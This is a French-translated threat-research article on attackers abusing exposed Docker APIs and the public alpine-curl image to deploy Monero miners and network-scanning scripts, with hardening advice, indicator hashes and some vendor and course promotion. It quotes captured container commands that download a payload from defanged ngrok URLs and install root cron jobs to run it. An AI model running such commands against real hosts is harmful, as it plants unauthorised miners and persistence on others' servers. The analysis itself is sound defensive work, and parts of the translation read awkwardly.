Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie

Nous avons analysé les données collectées à l'aide de conteneurs honeypot, que nous avons créés pour suivre les menaces. Et nous avons détecté une activité importante de la part de mineurs de crypto-monnaie indésirables ou non autorisés déployés en tant que conteneurs malveillants à l'aide d'une image publiée par la communauté sur Docker Hub. L’image est utilisée dans le cadre d’un service fournissant des mineurs de crypto-monnaie malveillants.

De plus, des programmes permettant de travailler avec des réseaux sont installés pour pénétrer dans les conteneurs et applications voisins ouverts.

Nous laissons nos honeypots tels quels, c'est-à-dire avec les paramètres par défaut, sans aucune mesure de sécurité ni installation ultérieure de logiciels supplémentaires. Veuillez noter que Docker propose des recommandations pour la configuration initiale afin d'éviter les erreurs et les vulnérabilités simples. Mais les pots de miel utilisés sont des conteneurs, conçus pour détecter les attaques visant la plateforme de conteneurisation, et non les applications contenues dans les conteneurs.

L’activité malveillante détectée est également remarquable car elle ne nécessite pas de vulnérabilités et est également indépendante de la version de Docker. Trouver une image de conteneur mal configurée, et donc ouverte, est tout ce dont les attaquants ont besoin pour infecter de nombreux serveurs ouverts.

L'API Docker non fermée permet à l'utilisateur d'effectuer un large éventail de tâches. équipes, notamment l'obtention d'une liste des conteneurs en cours d'exécution, l'obtention des journaux d'un conteneur spécifique, le démarrage, l'arrêt (y compris forcé) et même la création d'un nouveau conteneur à partir d'une image spécifique avec des paramètres spécifiés.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
Sur la gauche se trouve la méthode de diffusion des logiciels malveillants. À droite se trouve l’environnement de l’attaquant, qui permet le déploiement d’images à distance.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
Répartition par pays de 3762 API Docker ouvertes. Basé sur la recherche Shodan du 12.02.2019/XNUMX/XNUMX

Options de chaîne d’attaque et de charge utile

Les activités malveillantes n’ont pas été détectées uniquement à l’aide de pots de miel. Les données de Shodan montrent que le nombre d'API Docker exposées (voir deuxième graphique) a augmenté depuis que nous avons enquêté sur un conteneur mal configuré utilisé comme pont pour déployer le logiciel d'extraction de crypto-monnaie Monero. En octobre de l'année dernière (2018, données actuelles tu peux ressembler à ça environ. traducteur), il n'y avait que 856 API ouvertes.

Un examen des journaux du pot de miel a montré que l'utilisation des images de conteneurs était également associée à l'utilisation de ngrok, un outil permettant d'établir des connexions sécurisées ou de transférer le trafic depuis des points accessibles au public vers des adresses ou des ressources spécifiées (par exemple localhost). Cela permet aux attaquants de créer dynamiquement des URL lors de la transmission d'une charge utile à un serveur ouvert. Vous trouverez ci-dessous des exemples de code issus des journaux montrant un abus du service ngrok :

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Comme vous pouvez le constater, les fichiers téléchargés sont téléchargés à partir d'URL en constante évolution. Ces URL ont une date d'expiration courte, les charges utiles ne peuvent donc pas être téléchargées après la date d'expiration.

Il existe deux options de charge utile. Le premier est un mineur ELF compilé pour Linux (défini comme Coinminer.SH.MALXMR.ATNO) qui se connecte au pool de minage. Le second est un script (TrojanSpy.SH.ZNETMAP.A) conçu pour obtenir certains outils réseau utilisés pour analyser les plages réseau puis rechercher de nouvelles cibles.

Le script dropper définit deux variables, qui sont ensuite utilisées pour déployer le mineur de crypto-monnaie. La variable HOST contient l'URL où se trouvent les fichiers malveillants, et la variable RIP est le nom de fichier (en fait, le hachage) du mineur à déployer. La variable HOST change à chaque fois que la variable de hachage change. Le script tente également de vérifier qu’aucun autre mineur de cryptomonnaie n’est exécuté sur le serveur attaqué.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
Exemples de variables HOST et RIP, ainsi qu'un extrait de code utilisé pour vérifier qu'aucun autre mineur n'est en cours d'exécution

Avant de démarrer le mineur, il est renommé nginx. D'autres versions de ce script renomment le mineur en d'autres services légitimes pouvant être présents dans les environnements Linux. Cela suffit généralement pour contourner les vérifications de la liste des processus en cours d'exécution.

Le script de recherche possède également des fonctionnalités. Il fonctionne avec le même service URL pour déployer les outils nécessaires. Parmi eux se trouve le binaire zmap, qui est utilisé pour analyser les réseaux et obtenir une liste des ports ouverts. Le script charge également un autre binaire utilisé pour interagir avec les services trouvés et recevoir des bannières de leur part pour déterminer des informations supplémentaires sur le service trouvé (par exemple, sa version).

Le script prédéfinit également certaines plages réseau à analyser, mais cela dépend de la version du script. Il définit également les ports cibles des services (dans ce cas, Docker) avant d'exécuter l'analyse.

Dès que des cibles possibles sont trouvées, les bannières y sont automatiquement supprimées. Le script filtre également les cibles en fonction des services, applications, composants ou plateformes d'intérêt : Redis, Jenkins, Drupal, MODX, Maître Kubernetes, client Docker 1.16 et Apache CouchDB. Si le serveur analysé correspond à l'un d'entre eux, il est enregistré dans un fichier texte, que les attaquants peuvent ensuite utiliser pour une analyse et un piratage ultérieurs. Ces fichiers texte sont téléchargés sur les serveurs des attaquants via des liens dynamiques. Autrement dit, une URL distincte est utilisée pour chaque fichier, ce qui signifie que l'accès ultérieur est difficile.

Le vecteur d'attaque est une image Docker, comme on peut le voir dans les deux morceaux de code suivants.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
En haut se trouve le changement de nom en service légitime, et en bas se trouve la manière dont zmap est utilisé pour analyser les réseaux.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
En haut se trouvent des plages de réseau prédéfinies, en bas se trouvent des ports spécifiques pour la recherche de services, dont Docker

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
La capture d'écran montre que l'image du curl alpin a été téléchargée plus de 10 millions de fois.

Basé sur Alpine Linux et curl, un outil CLI économe en ressources pour transférer des fichiers via différents protocoles, vous pouvez créer Image Docker. Comme vous pouvez le voir sur l'image précédente, cette image a déjà été téléchargée plus de 10 millions de fois. Un grand nombre de téléchargements peut nécessiter l'utilisation de cette image comme point d'entrée ; cette image a été mise à jour il y a plus de six mois ; les utilisateurs n'ont pas téléchargé d'autres images de ce référentiel aussi souvent. Dans Docker point d'entrée - un ensemble d'instructions utilisé pour configurer un conteneur pour l'exécuter. Si les paramètres du point d'entrée sont incorrects (par exemple, le conteneur reste ouvert depuis Internet), l'image peut être utilisée comme vecteur d'attaque. Les attaquants peuvent l’utiliser pour livrer une charge utile s’ils trouvent un conteneur mal configuré ou ouvert non pris en charge.

Il est important de noter que cette image (alpine-curl) en elle-même n'est pas malveillante, mais comme vous pouvez le voir ci-dessus, elle peut être utilisée pour exécuter des fonctions malveillantes. Des images Docker similaires peuvent également être utilisées pour effectuer des activités malveillantes. Nous avons contacté Docker et travaillé avec eux sur ce problème.

Recommandations

Réglage incorrect reste problème constant pour de nombreuses entreprises, notamment celles mettant en œuvre DevOps, axé sur un développement et une livraison rapides. Tout est aggravé par la nécessité de respecter les règles d'audit et de contrôle, la nécessité de contrôler la confidentialité des données, ainsi que les énormes dommages résultant de leur non-respect. L'intégration de l'automatisation de la sécurité dans le cycle de vie du développement vous aide non seulement à détecter les failles de sécurité qui autrement pourraient passer inaperçues, mais également à réduire la charge de travail inutile, comme l'exécution de versions logicielles supplémentaires pour chaque vulnérabilité découverte ou mauvaise configuration après le déploiement d'une application.

L’incident évoqué dans cet article souligne la nécessité de prendre en compte la sécurité dès le départ, avec notamment les recommandations suivantes :

  • Pour les administrateurs système et les développeurs : vérifiez toujours les paramètres de votre API pour vous assurer que tout est configuré pour accepter uniquement les demandes d'un serveur ou d'un réseau interne spécifique.
  • Suivez le principe des moindres droits : assurez-vous que les images des conteneurs sont signées et vérifiées, limitez l'accès aux composants critiques (service de lancement de conteneurs) et ajoutez le cryptage aux connexions réseau.
  • Suivre recommandations et activer les mécanismes de sécurité, par ex. depuis Docker et intégré fonctions de sécurité.
  • Utilisez l'analyse automatisée des environnements d'exécution et des images pour obtenir des informations supplémentaires sur les processus exécutés dans le conteneur (par exemple, pour détecter l'usurpation d'identité ou rechercher des vulnérabilités). Le contrôle des applications et la surveillance de l'intégrité aident à suivre les modifications anormales apportées aux serveurs, aux fichiers et aux zones du système.

Trendmicro aide les équipes DevOps à créer en toute sécurité, à déployer rapidement et à lancer n'importe où. Tendance Micro Sécurité du cloud hybride Fournit une sécurité puissante, rationalisée et automatisée dans l'ensemble du pipeline DevOps d'une organisation et fournit de multiples défenses contre les menaces. XGen pour protéger les charges de travail physiques, virtuelles et cloud lors de l'exécution. Il ajoute également la sécurité des conteneurs avec Sécurité approfondie и Vérification intelligente de sécurité approfondie, qui analyse les images des conteneurs Docker à la recherche de logiciels malveillants et de vulnérabilités à tout moment du pipeline de développement afin de prévenir les menaces avant leur déploiement.

Signes de compromis

Hachages associés :

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Sur Cours vidéo Docker Les orateurs en exercice montrent quels réglages doivent être effectués en premier afin de minimiser la probabilité ou d'éviter complètement l'apparition de la situation décrite ci-dessus. Et du 19 au 21 août lors d'un cours intensif en ligne Outils et astuces DevOps Vous pouvez discuter de ces problèmes de sécurité et d’autres problèmes similaires avec des collègues et des enseignants en exercice lors d’une table ronde, où chacun peut s’exprimer et écouter les souffrances et les réussites de collègues expérimentés.

Source: habr.com

Ajouter un commentaire